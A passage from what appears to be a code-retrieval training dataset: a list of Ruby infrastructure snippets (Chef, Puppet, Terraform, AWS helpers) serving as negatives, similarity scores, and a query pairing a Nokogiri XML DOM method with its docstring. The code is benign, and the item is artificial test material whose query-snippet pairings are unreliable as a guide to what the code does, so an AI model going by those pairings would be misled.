"def prereqs_check_aws_config\n exe \"aws ec2 describe-vpcs | jq -e '.Vpcs[0] | select(.VpcId==\\\"#{AWS_DEFAULT_VC}\\\")'\"\nend",
"def describe(ctx)\n puts <<EOS\n---\nprovider:\n type: example\n desc: |\n A dummy provider that echos stuff. Useful for testing.\n invoke: json\n actions: [get,set]\n suitable: true\n attributes:\n name:\n desc: The resource name.\n ensure:\n type: enum[absent, present]\n color:\n type: enum[red, green, blue]\nEOS\n end",
"def aws_resources\n nil\n end",
"def resource_attributes(resource)\n atts = {}\n name = resource_name(resource)\n atts[:name] = name unless name.empty?\n resource.xpath('do_block/descendant::command\n [count(ancestor::do_block) = 1]').each do |att|\n att_value =\n if ! att.xpath('args_add_block[count(descendant::args_add)>1]').empty?\n att.xpath('args_add_block').first\n elsif ! att.xpath('args_add_block/args_add/\n var_ref/kw[@value=\"true\" or @value=\"false\"]').empty?\n att.xpath('string(args_add_block/args_add/\n var_ref/kw/@value)') == 'true'\n elsif att.xpath('descendant::symbol').empty?\n att.xpath('string(descendant::tstring_content/@value)')\n else\n att.xpath('string(descendant::symbol/ident/@value)').to_sym\n end\n atts[att.xpath('string(ident/@value)')] = att_value\n end\n resource.xpath(\"do_block/descendant::method_add_block[\n count(ancestor::do_block) = 1][brace_block | do_block]\").each do |batt|\n att_name = batt.xpath('string(method_add_arg/fcall/ident/@value)')\n if att_name and ! att_name.empty? and batt.children.length > 1\n atts[att_name] = batt.children[1]\n end\n end\n atts\n end",
"def load_resource_attributes_from_file(resource)\n acl_scanner = Chef::ScanAccessControl.new(@new_resource, resource)\n # acl_scanner.set_all!\n end",
"def run_init\n run(\n result:\n ::Kitchen::Terraform::Client::Command\n .init(\n options:\n ::Kitchen::Terraform::Client::Options\n .new\n .disable_input\n .enable_lock\n .lock_timeout(duration: config_lock_timeout)\n .maybe_no_color(toggle: !config_color)\n .upgrade\n .from_module(source: config_directory)\n .enable_backend\n .force_copy\n .backend_configs(keys_and_values: config_backend_configurations)\n .enable_get\n .maybe_plugin_dir(path: config_plugin_directory)\n .verify_plugins(toggle: config_verify_plugins),\n working_directory: instance_directory\n )\n )\n end",
"def puppet_resource_cmd(af)\n cmd = PUPPET_BINPATH + \\\n \"resource cisco_bgp_neighbor_af '#{af.values.join(' ')}'\"\n get_namespace_cmd(agent, cmd, options)\nend",
"def load_current_resource\n @current_resource = Chef::Resource::NexusCapability.new(new_resource.name)\n\n run_context.include_recipe \"nexus::cli\"\n Chef::Nexus.ensure_nexus_available(node)\n\n @current_resource\nend",
"def token_cassette\n return 'iam_token' if ENV['IBM_CLOUD_DISABLE_TOKEN'] == 'true'\n\n 'Test_vpc_API/vpc'\nend",
"def resource_attributes(resource)\n atts = {:name => resource_name(resource)}\n resource.xpath('do_block/descendant::command[count(ancestor::do_block) = 1]').each do |att|\n if att.xpath('descendant::symbol').empty?\n att_value = att.xpath('string(descendant::tstring_content/@value)')\n else\n att_value = att.xpath('string(descendant::symbol/ident/@value)').to_sym\n end\n atts[att.xpath('string(ident/@value)')] = att_value\n end\n atts\n end",
"def resource_attributes(resource)\n atts = {:name => resource_name(resource)}\n resource.xpath('do_block/descendant::command[count(ancestor::do_block) = 1]').each do |att|\n if att.xpath('descendant::symbol').empty?\n att_value = att.xpath('string(descendant::tstring_content/@value)')\n else\n att_value = att.xpath('string(descendant::symbol/ident/@value)').to_sym\n end\n atts[att.xpath('string(ident/@value)')] = att_value\n end\n atts\n end",
"def resource_available?(name)\n node.run_context.resource_collection.find(name)\n\n true\n rescue Chef::Exceptions::ResourceNotFound\n false\n end",
"def initialize(new_resource, run_context)\n super(new_resource, run_context)\n\n if new_resource.path && new_resource.path != ''\n @path = new_resource.path\n else\n @path = \"/home/#{new_resource.owner}/newrelic_elastic_#{new_resource.application_name}\"\n end\nend",
"def obtain_vm_data(resource)\n\n puts \"Obtaining virtual machines' data\"\n return obtain_torque_data(resource[:head], resource[:compute])\n \nend",
"def display_resource(region)\n \"#{region.name}\"\n end",
"def read_resource(name)\n res = YAML.load_file(\n \"#{App.config.resource_directory}/#{name}.yaml\"\n )\n raise 'No name specified...' if res['name'].nil?\n\n res['name'] = \"res-#{res['name']}\"\n res['capabilities'] ||= []\n res['tags'] = stack_meta(res['tags'] || {})\n res['parameters'] = stack_params(res['parameters'] || {})\n res\n end",
"def zone(resource)\n 'us-east-1'\n end",
"def load_current_resource\n @current_resource = Chef::Resource::Php5FpmPool.new(@new_resource.name)\n #default entries, will override if file exists and can find a matching configuration key\n #Overwrite\n @current_resource.overwrite(@new_resource.overwrite)\n #Base Pool Configuration\n @current_resource.pool_name(@new_resource.pool_name)\n @current_resource.pool_user(@new_resource.pool_user)\n @current_resource.pool_group(@new_resource.pool_group)\n @current_resource.listen_address(@new_resource.listen_address)\n @current_resource.listen_port(@new_resource.listen_port)\n @current_resource.listen_allowed_clients(@new_resource.listen_allowed_clients) # <<<<<<<<<< Need to complete\n @current_resource.listen_owner(@new_resource.listen_owner)\n @current_resource.listen_group(@new_resource.listen_group)\n @current_resource.listen_mode(@new_resource.listen_mode)\n @current_resource.use_sockets(@new_resource.use_sockets)\n @current_resource.listen_socket(@new_resource.listen_socket)\n @current_resource.listen_backlog(@new_resource.listen_backlog)\n #PM Configuration\n @current_resource.pm(@new_resource.pm)\n @current_resource.pm_max_children(@new_resource.pm_max_children)\n @current_resource.pm_start_servers(@new_resource.pm_start_servers)\n @current_resource.pm_min_spare_servers(@new_resource.pm_min_spare_servers)\n @current_resource.pm_max_spare_servers(@new_resource.pm_max_spare_servers)\n @current_resource.pm_process_idle_timeout(@new_resource.pm_process_idle_timeout)\n @current_resource.pm_max_requests(@new_resource.pm_max_requests)\n @current_resource.pm_status_path(@new_resource.pm_status_path)\n #Ping Status\n @current_resource.ping_path(@new_resource.ping_path)\n @current_resource.ping_response(@new_resource.ping_response)\n #Logging\n @current_resource.access_format(@new_resource.access_format)\n @current_resource.request_slowlog_timeout(@new_resource.request_slowlog_timeout)\n @current_resource.request_terminate_timeout(@new_resource.request_terminate_timeout)\n @current_resource.access_log(@new_resource.access_log)\n @current_resource.slow_log(@new_resource.slow_log)\n #Misc\n @current_resource.chdir(@new_resource.chdir)\n @current_resource.chroot(@new_resource.chroot)\n @current_resource.catch_workers_output(@new_resource.catch_workers_output)\n @current_resource.security_limit_extensions(@new_resource.security_limit_extensions)\n @current_resource.rlimit_files(@new_resource.rlimit_files)\n @current_resource.rlimit_core(@new_resource.rlimit_core)\n #PHP INI\n @current_resource.php_ini_values(@new_resource.php_ini_values)\n @current_resource.php_ini_flags(@new_resource.php_ini_flags)\n @current_resource.php_ini_admin_values(@new_resource.php_ini_admin_values)\n @current_resource.php_ini_admin_flags(@new_resource.php_ini_admin_flags)\n #ENV Variables\n @current_resource.env_variables(@new_resource.env_variables)\n #Auto Resource Provisioning\n @current_resource.auto_calculate(@new_resource.auto_calculate)\n @current_resource.percent_share(@new_resource.percent_share)\n @current_resource.round_down(@new_resource.round_down)\n\n #if the file exists, load current state\n if file_exists?(@current_resource.pool_name)\n\n #Tmp hash holding for our PHP and ENV Variables\n tmp_flags = {}\n tmp_values = {}\n tmp_admin_flags = {}\n tmp_admin_values = {}\n tmp_env_variables = {}\n\n #open the file for read\n ::File.open(\"#{ node[\"php_fpm\"][\"pools_path\"] }/#{ @current_resource.pool_name }.conf\", \"r\") do |fobj|\n\n #loop through each line\n fobj.each_line do |fline|\n\n #Split the line for configuration value\n lstring = fline.split('=').at(1)\n #Get the conf variable if there is one\n #Need to extract the variable name first\n conf_file_variable = fline.scan(/\\[.*?\\]/).first\n !conf_file_variable.nil? ? conf_file_variable = conf_file_variable.sub('[', '').sub(']', '') : nil\n\n #Start base configuration\n configuration_exists(fline,\"user =\") ? @current_resource.pool_user(lstring.chomp.strip) : nil\n if configuration_exists(fline,\"group =\") && !configuration_exists(fline,\"listen.group =\")\n @current_resource.pool_group(lstring.chomp.strip)\n end\n\n #Pull address and port // If we are using sockets bypass\n if configuration_exists(fline,\"listen =\") && !@current_resource.use_sockets\n if fline =~ /.*\\..*\\..*\\..*:.*/ #do a check on a valid ip address/port combination, if no match, just set new to current\n #split away the address and port\n sp_address = lstring.split(':').at(0)\n sp_port = lstring.split(':').at(1)\n #remove newline chars and whitespacing\n @current_resource.listen_address(sp_address.chomp.strip)\n @current_resource.listen_port(sp_port.chomp.strip.to_i)\n end #don't apply the current resource | this is for a socket to ip transition | will work for modify as well\n elsif configuration_exists(fline,\"listen =\") && @current_resource.use_sockets ## Only for sockets\n @current_resource.listen_socket(lstring.chomp.strip)\n end\n\n #Finish out base configuration options\n configuration_exists(fline,\"listen.allowed_clients =\") ? @current_resource.listen_allowed_clients(lstring.chomp.strip) : nil\n configuration_exists(fline,\"listen.owner =\") ? @current_resource.listen_owner(lstring.chomp.strip) : nil\n configuration_exists(fline,\"listen.group =\") ? @current_resource.listen_group(lstring.chomp.strip) : nil\n configuration_exists(fline,\"listen.mode =\") ? @current_resource.listen_mode(lstring.chomp.strip) : nil\n configuration_exists(fline,\"listen.backlog =\") ? @current_resource.listen_backlog(lstring.chomp.strip) : nil\n\n #Start PM configuration\n configuration_exists(fline,\"pm =\") ? @current_resource.pm(lstring.chomp.strip) : nil\n configuration_exists(fline,\"pm.max_children =\") ? @current_resource.pm_max_children(lstring.chomp.strip.to_i) : nil\n configuration_exists(fline,\"pm.start_servers =\") ? @current_resource.pm_start_servers(lstring.chomp.strip.to_i) : nil\n configuration_exists(fline,\"pm.min_spare_servers =\") ? @current_resource.pm_min_spare_servers(lstring.chomp.strip.to_i) : nil\n configuration_exists(fline,\"pm.max_spare_servers =\") ? @current_resource.pm_max_spare_servers(lstring.chomp.strip.to_i) : nil\n configuration_exists(fline,\"pm.process_idle_timeout =\") ? @current_resource.pm_process_idle_timeout(lstring.chomp.strip) : nil\n configuration_exists(fline,\"pm.max_requests =\") ? @current_resource.pm_max_requests(lstring.chomp.strip.to_i) : nil\n configuration_exists(fline,\"pm.status_path =\") ? @current_resource.pm_status_path(lstring.chomp.strip) : nil\n\n #Start ping status\n configuration_exists(fline,\"ping.path =\") ? @current_resource.ping_path(lstring.chomp.strip) : nil\n configuration_exists(fline,\"ping.response =\") ? @current_resource.ping_response(lstring.chomp.strip) : nil\n\n #Start logging\n configuration_exists(fline,\"access.format =\") ? @current_resource.access_format(lstring.chomp.strip) : nil\n configuration_exists(fline,\"request_slowlog_timeout =\") ? @current_resource.request_slowlog_timeout(lstring.chomp.strip.to_i) : nil\n configuration_exists(fline,\"request_terminate_timeout =\") ? @current_resource.request_terminate_timeout(lstring.chomp.strip.to_i) : nil\n configuration_exists(fline,\"access.log =\") ? @current_resource.access_log(lstring.chomp.strip) : nil\n configuration_exists(fline,\"slowlog =\") ? @current_resource.slow_log(lstring.chomp.strip) : nil\n\n #Start misc\n configuration_exists(fline,\"chdir =\") ? @current_resource.chdir(lstring.chomp.strip) : nil\n configuration_exists(fline,\"chroot =\") ? @current_resource.chroot(lstring.chomp.strip) : nil\n configuration_exists(fline,\"catch_workers_output =\") ? @current_resource.catch_workers_output(lstring.chomp.strip) : nil\n configuration_exists(fline,\"security.limit_extensions =\") ? @current_resource.security_limit_extensions(lstring.chomp.strip) : nil\n configuration_exists(fline,\"rlimit_files =\") ? @current_resource.rlimit_files(lstring.chomp.strip.to_i) : nil\n configuration_exists(fline,\"rlimit_core =\") ? @current_resource.rlimit_core(lstring.chomp.strip.to_i) : nil\n\n #Start PHP INI\n configuration_exists(fline,\"php_value[#{conf_file_variable}] =\") && !@current_resource.php_ini_values.nil? ? tmp_values[\"#{conf_file_variable}\"] = lstring.chomp.strip : nil\n configuration_exists(fline,\"php_flag[#{conf_file_variable}] =\") && !@current_resource.php_ini_flags.nil? ? tmp_flags[\"#{conf_file_variable}\"] = lstring.chomp.strip : nil\n configuration_exists(fline,\"php_admin_value[#{conf_file_variable}] =\") && !@current_resource.php_ini_admin_values.nil? ? tmp_admin_values[\"#{conf_file_variable}\"] = lstring.chomp.strip : nil\n configuration_exists(fline,\"php_admin_flag[#{conf_file_variable}] =\") && !@current_resource.php_ini_admin_flags.nil? ? tmp_admin_flags[\"#{conf_file_variable}\"] = lstring.chomp.strip : nil\n\n #Start ENV Variables\n configuration_exists(fline,\"env[#{conf_file_variable}] =\") && !@current_resource.env_variables.nil? ? tmp_env_variables[\"#{conf_file_variable}\"] = lstring.chomp.strip : nil\n\n end\n\n #Reset current resource hashes on PHP and ENV Variables\n @current_resource.php_ini_values(tmp_values)\n @current_resource.php_ini_flags(tmp_flags)\n @current_resource.php_ini_admin_values(tmp_admin_values)\n @current_resource.php_ini_admin_flags(tmp_admin_flags)\n\n end\n\n #flag that they current file exists\n @current_resource.exists = true\n end\n\n #If we are to auto_calculate, then call the method\n if @current_resource.auto_calculate\n\n #Call auto_calculate\n auto_calculate(@new_resource.pm, (@new_resource.percent_share / 100.00), @new_resource.round_down)\n\n end\n\nend",
"def resource\n instance_variable_get(:\"@#{resource_name}\")\n end",
"def resource\n instance_variable_get(:\"@#{resource_name}\")\n end",
"def expected_logical_resource_ids(desired_test_result, resource_type)\n raise 'desired_test_result value must be either \"pass\" or \"fail\"' unless\n %w[pass fail].include?(desired_test_result)\n\n if desired_test_result == 'fail'\n [resource_type.sub('AWS::', '').gsub('::', '')]\n else\n []\n end\nend",
"def resources\n resources = []\n\n default_storage = {\n 'swift_zone' => 100,\n 'object_port'=>6000,\n 'container_port'=>6001,\n 'account_port'=>6002,\n 'mountpoints'=> \"1 1\\n2 1\",\n 'weight'=> 100,\n 'types'=>['container', 'object', 'account'],\n }\n\n self[:storages].each do |storage|\n merged_storage = default_storage.merge(storage)\n merged_storage['types'].collect do |type|\n port = merged_storage[\"#{type}_port\"]\n options = {\n :name=>\"#{merged_storage['storage_address']}:#{port}\",\n :mountpoints=>merged_storage['mountpoints'],\n :zone => merged_storage['swift_zone']\n }\n resources += [Puppet::Type.type(\"ring_#{type}_device\".to_sym).new(options)]\n end\n end\n resources\n end",
"def tpl_name\n \"monit_check_#{new_resource.name}\"\n end",
"def load_resource_attributes_from_file(resource)\n acl_scanner = Chef::ScanAccessControl.new(@new_resource, resource)\n acl_scanner.set_all!\n end",
"def load_current_resource\n @my_home = new_resource.home ||\n \"#{node['user']['home_root']}/#{new_resource.username}\"\n @my_shell = new_resource.shell || node['user']['default_shell']\n @manage_home = bool(new_resource.manage_home, node['user']['manage_home'])\n @create_group = bool(new_resource.create_group, node['user']['create_group'])\n @ssh_keygen = bool(new_resource.ssh_keygen, node['user']['ssh_keygen'])\nend",
"def load_current_resource\n @export = Chef::Resource::NfsExport.new(new_resource.directory)\n Chef::Log.debug(\"Checking whether #{new_resource.directory} is already an NFS export\")\n @export.exists node['nfs']['exports'].detect {|x| x.match \"^#{new_resource.directory}\" }\nend",
"def get_address v\n if(File.exist?($d + \"/beta/\" + v + \".yaml\" ))\n y = YAML.load_file($d + \"/beta/\" + v + \".yaml\")\n else\n y = YAML.load_file($d + \"/alpha/\" + v + \".yaml\")\n end\n y['addresses'].collect do |t|\n t['type'] + \" \" + t['sha1sum'] + \" \" + t['address']\n end.join \"\\n\"\nend",
"def private; end",
"def js_rpts_2_acct_name(rpt)\n acct = rpt.split('/')[-3]\n aws_yml = Rails.root.join('config','aws.yml')\n aws_conf = YAML.load(File.read(aws_yml))[::Rails.env] || 'development'\n aws_conf.each do |k,v|\n if v['acct_id'] == acct\n return k\n end\n end\n end",
"def accounts_with_usage; end",
"def puppet_value; nil; end",
"def addStandardTags(resource, resource_type, region: MU.curRegion)\n MU.log \"Adding tags to ElasticCache resource #{resource}\"\n MU::Cloud::AWS.elasticache(region: region).add_tags_to_resource(\n resource_name: MU::Cloud::AWS::CacheCluster.getARN(resource, resource_type, \"elasticache\", region: @region, credentials: @credentials),\n tags: allTags\n )\n end",
"def cmd_resource(cmd, var = nil, what)\n puts \"HIT THE PPPPPPPPPPPPPPPPPP\"\n puts \"cmd_resource: #{cmd} | #{var} | #{what}\"\n end",
"def check_from_resource\n spec = {}\n spec['check_hooks'] = new_resource.check_hooks if new_resource.check_hooks\n spec['command'] = new_resource.command\n spec['cron'] = new_resource.cron\n spec['handlers'] = new_resource.handlers\n spec['high_flap_threshold'] = new_resource.high_flap_threshold if new_resource.high_flap_threshold\n spec['interval'] = new_resource.interval if new_resource.interval\n spec['low_flap_threshold'] = new_resource.low_flap_threshold if new_resource.low_flap_threshold\n spec['proxy_entity_name'] = new_resource.proxy_entity_name if new_resource.proxy_entity_name\n spec['proxy_requests'] = new_resource.proxy_requests if new_resource.proxy_requests\n spec['publish'] = new_resource.publish if new_resource.publish\n spec['round_robin'] = new_resource.round_robin if new_resource.round_robin\n spec['runtime_assets'] = new_resource.runtime_assets if new_resource.runtime_assets\n spec['secrets'] = new_resource.secrets if new_resource.secrets\n spec['stdin'] = new_resource.stdin\n spec['subdue'] = new_resource.subdue if new_resource.subdue\n spec['subscriptions'] = new_resource.subscriptions\n spec['timeout'] = new_resource.timeout if new_resource.timeout\n spec['ttl'] = new_resource.ttl if new_resource.ttl\n spec['output_metric_format'] = new_resource.output_metric_format if new_resource.output_metric_format\n spec['output_metric_handlers'] = new_resource.output_metric_handlers if new_resource.output_metric_handlers\n\n c = base_resource(new_resource, spec)\n c['metadata']['namespace'] = new_resource.namespace\n c\n end",
"def terraform_init_log(mod_name)\n \"#{Terraspace.tmp_root}/log/init/#{mod_name}.log\"\n end",
"def check_from_resource\n spec = {}\n spec['check_hooks'] = new_resource.check_hooks if new_resource.check_hooks\n spec['command'] = new_resource.command\n spec['cron'] = new_resource.cron\n spec['metadata'] = {}\n spec['metadata']['name'] = new_resource.name\n spec['metadata']['namespace'] = new_resource.namespace\n spec['metadata']['labels'] = new_resource.labels if new_resource.labels\n spec['metadata']['annotations'] = new_resource.annotations if new_resource.annotations\n spec['handlers'] = new_resource.handlers\n spec['high_flap_threshold'] = new_resource.high_flap_threshold if new_resource.high_flap_threshold\n spec['interval'] = new_resource.interval if new_resource.interval\n spec['low_flap_threshold'] = new_resource.low_flap_threshold if new_resource.low_flap_threshold\n spec['proxy_entity_name'] = new_resource.proxy_entity_name if new_resource.proxy_entity_name\n spec['proxy_requests'] = new_resource.proxy_requests if new_resource.proxy_requests\n spec['publish'] = new_resource.publish if new_resource.publish\n spec['round_robin'] = new_resource.round_robin if new_resource.round_robin\n spec['runtime_assets'] = new_resource.runtime_assets if new_resource.runtime_assets\n spec['stdin'] = new_resource.stdin\n spec['subdue'] = new_resource.subdue if new_resource.subdue\n spec['subscriptions'] = new_resource.subscriptions\n spec['timeout'] = new_resource.timeout if new_resource.timeout\n spec['ttl'] = new_resource.ttl if new_resource.ttl\n spec['output_metric_format'] = new_resource.output_metric_format if new_resource.output_metric_format\n spec['output_metric_handlers'] = new_resource.output_metric_handlers if new_resource.output_metric_handlers\n\n c = {}\n c['type'] = type_from_name\n c['spec'] = spec\n c\n end",
"def service_resource_providers\n service_resource_providers = []\n\n if ::File.exist?(\"/usr/sbin/update-rc.d\")\n service_resource_providers << :debian\n end\n\n if ::File.exist?(\"/usr/sbin/invoke-rc.d\")\n service_resource_providers << :invokercd\n end\n\n if ::File.exist?(\"/sbin/insserv\")\n service_resource_providers << :insserv\n end\n\n # debian >= 6.0 has /etc/init but does not have upstart\n if ::File.exist?(\"/etc/init\") && ::File.exist?(\"/sbin/start\")\n service_resource_providers << :upstart\n end\n\n if ::File.exist?(\"/sbin/chkconfig\")\n service_resource_providers << :redhat\n end\n\n if ::File.exist?(\"/bin/systemctl\")\n # FIXME: look for systemd as init provider\n service_resource_providers << :systemd\n end\n\n service_resource_providers\n end",
"def manifest(type)\n type = type.downcase\n say \"Rendering #{type} manifest\", :green\n @values = parse_cloud_config\n @tf_output = parse_tf_state('terraform/terraform.tfstate') if options[:cloud] == 'aws'\n\n if options[:cloud] == 'aws'\n @private_subnet = IPAddr.new(@values['aws']['private_subnet']['network']).to_range.to_a\n @public_subnet = IPAddr.new(@values['aws']['public_subnet']['network']).to_range.to_a\n else\n @private_subnet = IPAddr.new(@values['gcp']['subnet_cidr']).to_range.to_a\n end\n\n @static_ip_vault = @private_subnet[11].to_s\n @static_ips_concourse = [@private_subnet[12]].map(&:to_s)\n @static_ip_prometheus_stack = @private_subnet[18].to_s\n\n case type\n when \"bosh\"\n directory(\"#{options[:cloud]}/deployments/bosh\", 'deployments/bosh')\n template(\"#{options[:cloud]}/bosh-vars.yml.erb\", 'config/bosh-vars.yml')\n copy_file(\"#{options[:cloud]}/docs/bosh.md\", \"docs/bosh.md\")\n template(\"#{options[:cloud]}/bin/bosh-install.sh.tt\", \"bin/bosh-install.sh\")\n chmod('bin/bosh-install.sh', 0755)\n\n when \"concourse\"\n directory(\"#{options[:cloud]}/deployments/concourse\", \"deployments/concourse\")\n copy_file(\"#{options[:cloud]}/docs/concourse.md\", \"docs/concourse.md\")\n template(\"#{options[:cloud]}/bin/concourse-deploy.sh.tt\", \"bin/concourse-deploy.sh\")\n chmod('bin/concourse-deploy.sh', 0755)\n ingress_add_entry(@values['concourse']['hostname'], @static_ips_concourse, port: 8080)\n\n when \"vault\"\n template(\"#{options[:cloud]}/deployments/vault/vault.yml.erb\", \"deployments/vault/vault.yml\")\n copy_file(\"#{options[:cloud]}/docs/vault.md\", \"docs/vault.md\")\n template(\"#{options[:cloud]}/bin/vault-deploy.sh.tt\", \"bin/vault-deploy.sh\")\n chmod('bin/vault-deploy.sh', 0755)\n ingress_add_entry(@values['vault']['hostname'], [@static_ip_vault], port: 8200)\n\n when \"ingress\"\n template(\"#{options[:cloud]}/deployments/ingress/ingress.yml.erb\", \"deployments/ingress/ingress.yml\")\n copy_file(\"#{options[:cloud]}/docs/ingress.md\", \"docs/ingress.md\")\n template(\"#{options[:cloud]}/bin/ingress-deploy.sh.tt\", \"bin/ingress-deploy.sh\")\n template(\"#{options[:cloud]}/bin/ingress-update.sh.tt\", \"bin/ingress-update.sh\")\n chmod('bin/ingress-deploy.sh', 0755)\n chmod('bin/ingress-update.sh', 0755)\n\n when \"prometheus\"\n directory(\"#{options[:cloud]}/deployments/prometheus\", \"deployments/prometheus\")\n copy_file(\"#{options[:cloud]}/docs/prometheus.md\", \"docs/prometheus.md\")\n template(\"#{options[:cloud]}/bin/prometheus-deploy.sh.tt\", \"bin/prometheus-deploy.sh\")\n chmod('bin/prometheus-deploy.sh', 0755)\n ingress_add_entry(@values['alertmanager']['hostname'], [@static_ip_prometheus_stack], port: 9093)\n ingress_add_entry(@values['grafana']['hostname'], [@static_ip_prometheus_stack], port: 3000)\n ingress_add_entry(@values['prometheus']['hostname'], [@static_ip_prometheus_stack], port: 9090)\n\n else\n say \"Manifest type not specified\"\n\n end\n end",
"def resource_name(seed=random_string(5))\n 'cli_' << HOSTNAME << '_' << Time.now.to_i.to_s << '_' << seed.to_s\n end",
"def specified_checksum\n @resource[:checksum]\n end",
"def resource_class_name(provider_class_name)\n # Chef lwr/p resource and provider base names are the same\n \"Chef::Resource::#{provider_class_name}\"\n end",
"def resource_attributes\n %w(\n auth_users\n comment\n dont_compress\n exclude\n exclude_from\n fake_super\n gid\n hosts_allow\n hosts_deny\n include\n include_from\n list\n lock_file\n log_file\n log_format\n max_connections\n munge_symlinks\n numeric_ids\n path\n read_only\n refuse_options\n secrets_file\n strict_modes\n timeout\n transfer_logging\n uid\n use_chroot\n write_only\n )\n end",
"def assign_cloud_resource_id\n\tif self.launch_configuration_name.blank?\n\t chars = (\"a\"..\"f\").to_a + (\"0\"..\"9\").to_a\n\t n = \"lc-\"\n\t 1.upto(8) { |i| n << chars[rand(chars.size-1)] }\n\t self.launch_configuration_name = n\n\tend\n end",
"def initialize()\n @reg_path = '/sys/kernel/debug/regmap/sunxi-rsb-3a3/registers'\n \n # Any specific first steps here\n\nend",
"def secure_subresource_integrity_context?; end",
"def secure_subresource_integrity_context?; end",
"def map_resource(file)\n file_handle = File.open(File.expand_path(file), 'r')\n file_handle.readlines.each do |line|\n if line =~ /#\\s@resource/\n resource_name = line.split(%r{@resource })[1].strip\n @resource = ChefObject.register(RESOURCE, resource_name, :resource)\n @resource.providers.push(self) unless @resource.providers.include?(self)\n break\n end\n end\n end",
"def provider\n \"aws\"\n end",
"def get_resource(resource_type, filter = {})\n fail \"resource_type must be specified\" if resource_type.nil?\n\n # Ensure the hash key is correct when searching\n hash_key = resource_type.to_s.upcase\n hash_key = 'VMTEMPLATE' if hash_key == 'TPL' || hash_key == 'TEMPLATE'\n\n if filter.empty?\n Chef::Log.warn(\"get_resource: 'name' or 'id' must be provided\")\n return nil\n end\n pool = get_pool(resource_type)\n\n if resource_type.to_s != 'user' && filter[:id] && !filter[:id].nil?\n pool.info!(-2, filter[:id].to_i, filter[:id].to_i)\n return pool.first\n end\n\n if resource_type.to_s == 'user'\n pool.info\n else\n pool.info!(-2, -1, -1)\n end\n resources = []\n pool.each do |res|\n next unless res.name == filter[:name]\n next if filter[:uname] && res.to_hash[hash_key]['UNAME'] != filter[:uname]\n resources << res\n end\n return nil if resources.empty?\n return resources[0] if resources.size == 1\n resources\n end",
"def storage_only\n select {|d| d.resource_type == 17}\n end"
] | [
"0.62017715",
"0.593084",
"0.5926508",
"0.56366265",
"0.5444777",
"0.5442593",
"0.54364836",
"0.5414038",
"0.53086793",
"0.5278864",
"0.52619886",
"0.5252788",
"0.5230826",
"0.5204503",
"0.5137038",
"0.51270634",
"0.5096929",
"0.5084236",
"0.50839394",
"0.50828624",
"0.5078047",
"0.50642437",
"0.506411",
"0.5056122",
"0.5038328",
"0.5025826",
"0.5005674",
"0.5005674",
"0.49871677",
"0.49705032",
"0.49414206",
"0.49288642",
"0.4921683",
"0.4921683",
"0.4884692",
"0.4870397",
"0.4852989",
"0.48425525",
"0.4834988",
"0.48237073",
"0.48215526",
"0.4816042",
"0.4815342",
"0.48153046",
"0.48138756",
"0.4811114",
"0.48012978",
"0.48009202",
"0.47984886",
"0.47980762",
"0.479556",
"0.47832507",
"0.47803015",
"0.47781557",
"0.47733703",
"0.4772959",
"0.47722432",
"0.4770619",
"0.47686327",
"0.4768416",
"0.47660005",
"0.47660005",
"0.47603193",
"0.47448814",
"0.47311667",
"0.47265363",
"0.4721884",
"0.47146395",
"0.47133183",
"0.4710479",
"0.4710479",
"0.47083592",
"0.46990925",
"0.46953526",
"0.46886808",
"0.46817222",
"0.46806708",
"0.46803004",
"0.46789175",
"0.46763748",
"0.46749467",
"0.46731332",
"0.46682844",
"0.46680036",
"0.46663648",
"0.46662056",
"0.4663639",
"0.4663276",
"0.4662127",
"0.46606824",
"0.46587455",
"0.46567947",
"0.46538362",
"0.46530622",
"0.46518525",
"0.46354562",
"0.46349007",
"0.4619668",
"0.46157193",
"0.46157184",
"0.46114418"
] | 0.0 | -1 |
Nokogiri XML DOM for the current Brominet XML representation of the GUI | def dom_for_gui
@dom = Nokogiri::XML self.dump
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def document_root_element; end",
"def document\n @doc ||= Nokogiri::XML(@xml)\n end",
"def xml_page\n page = BR.html\n Nokogiri::HTML(page)\nend",
"def to_dom\n end",
"def root_element\n root.xml \n end",
"def xml_document\n xml = XML::Document.new\n xml.root = self.to_xml\n xml\n end",
"def bf_xml\n doc = Nokogiri::XML(bfMetadata.to_xml)\n doc.root.children.to_xml\n end",
"def xml_document\n xml = XML::Document.new\n xml.root = self.to_xml\n xml\n end",
"def xml_document\n @root_node.to_s\n end",
"def xml_document\n @root_node.to_s\n end",
"def inner_html\n self.inner_xml\n end",
"def parse\n Ox.parse(@xml)\n end",
"def build_document\n self.root = XML::Node.new('Workbook')\n root['xmlns'] = 'urn:schemas-microsoft-com:office:spreadsheet'\n root['xmlns:o'] = 'urn:schemas-microsoft-com:office:office'\n root['xmlns:x'] = 'urn:schemas-microsoft-com:office:excel'\n root['xmlns:ss'] = 'urn:schemas-microsoft-com:office:spreadsheet'\n root['xmlns:html'] = 'http://www.w3.org/TR/REC-html40'\n end",
"def dom_class; end",
"def dom_class; end",
"def dom_class; end",
"def dom_class; end",
"def bend_html\n\t\t@bendable_html = Nokogiri::HTML(@unbendable_html.body)\n\tend",
"def xml\n Nokogiri::XML(body)\n end",
"def doc\n @doc ||= xml_doc @xml\n end",
"def html\r\n @rootNode.html_node()\r\n end",
"def xml\n @_node.asXml\n end",
"def document\n return nil if @document.nil?\n @document.to_xml(save_with: Nokogiri::XML::Node::SaveOptions::AS_XML)\n end",
"def element\n window\n end",
"def xml; end",
"def to_node\n Nokogiri::XML::Builder.new do |xml|\n build xml\n end.doc.root\n end",
"def parse\n #return a cached version if it exists\n return @nexml if @nexml\n\n #start at the root element\n skip_leader\n\n #start with a new Nexml object\n version = attribute( 'version' )\n generator = attribute( 'generator' )\n @nexml = NeXML::Nexml.new( version, generator )\n\n #perhaps a namespace api as well\n \n #start parsing other elements\n while next_node\n case local_name\n when \"otus\"\n @nexml.add_otus( parse_otus )\n when \"trees\"\n @nexml.add_trees( parse_trees )\n when \"characters\"\n @nexml.add_characters( parse_characters )\n end\n end\n\n #close the libxml parser object\n #close\n\n #return the Nexml object\n @nexml\n end",
"def xml\n @xml ||= Nokogiri::XML(body)\n end",
"def barcode_nodes\n xml.xpath(\"//altformavail/p\")\n end",
